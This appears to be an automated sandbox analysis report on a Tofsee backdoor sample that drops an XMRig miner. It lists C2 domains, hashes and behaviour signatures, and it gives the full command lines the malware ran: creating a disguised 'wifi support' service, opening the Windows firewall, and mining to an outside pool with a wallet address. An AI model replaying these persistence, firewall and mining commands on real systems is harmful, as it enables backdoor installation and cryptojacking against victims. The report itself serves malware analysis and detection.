Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 16:29

General

  • Target
    file.exe
  • Size 278KB
  • Sample230110-ty8brsgf55
  • SHA256 7ec46367ee2c073c2b51bf5b43e9ebc4cad2f4fd38ad7beec6df150f32b7024c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mnugokbd\
      2⤵
        PID:3932
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nkefckah.exe" C:\Windows\SysWOW64\mnugokbd\
        2⤵
          PID:1096
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mnugokbd binPath= "C:\Windows\SysWOW64\mnugokbd\nkefckah.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4516
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mnugokbd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:308
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mnugokbd
          2⤵
          • Launches sc.exe
          PID:3132
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5080
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3668 -s 660
          2⤵
          • Program crash
          PID:1236
      • C:\Windows\SysWOW64\mnugokbd\nkefckah.exe
        C:\Windows\SysWOW64\mnugokbd\nkefckah.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2656
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2192
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1568
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 556
          2⤵
          • Program crash
          PID:4520
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3668 -ip 3668
        1⤵
          PID:4700
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2656 -ip 2656
          1⤵
            PID:5008

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                nkefckah.exe

                • Path C:\Users\Admin\AppData\Local\Temp\nkefckah.exe
                • Size 12.1MB
                • SHA256 f166404d5f0346b2f119db3f042f255a115745d56a38f284833890a27eb1d2cf
                • MD5 SHA1 SHA512 SSDEEP

                nkefckah.exe

                • Path C:\Windows\SysWOW64\mnugokbd\nkefckah.exe
                • Size 12.1MB
                • SHA256 f166404d5f0346b2f119db3f042f255a115745d56a38f284833890a27eb1d2cf
                • MD5 SHA1 SHA512 SSDEEP

                memory/1568-177-0x0000000000630000-0x0000000000721000-memory.dmp

                memory/1568-172-0x0000000000630000-0x0000000000721000-memory.dmp

                memory/2192-159-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

                memory/2192-152-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/2192-168-0x0000000002DE0000-0x0000000002DE7000-memory.dmp

                memory/2192-165-0x0000000007800000-0x0000000007C0B000-memory.dmp

                memory/2192-162-0x0000000002DD0000-0x0000000002DD5000-memory.dmp

                memory/2192-145-0x0000000000C30000-0x0000000000C45000-memory.dmp

                memory/2192-156-0x0000000000C30000-0x0000000000C45000-memory.dmp

                memory/2192-155-0x0000000001FA0000-0x0000000001FA6000-memory.dmp

                memory/2192-150-0x0000000000C30000-0x0000000000C45000-memory.dmp

                memory/2656-151-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/2656-149-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/2656-148-0x0000000002EA9000-0x0000000002EB9000-memory.dmp

                memory/3668-132-0x0000000002F7D000-0x0000000002F8D000-memory.dmp

                memory/3668-143-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/3668-135-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/3668-133-0x0000000002D30000-0x0000000002D43000-memory.dmp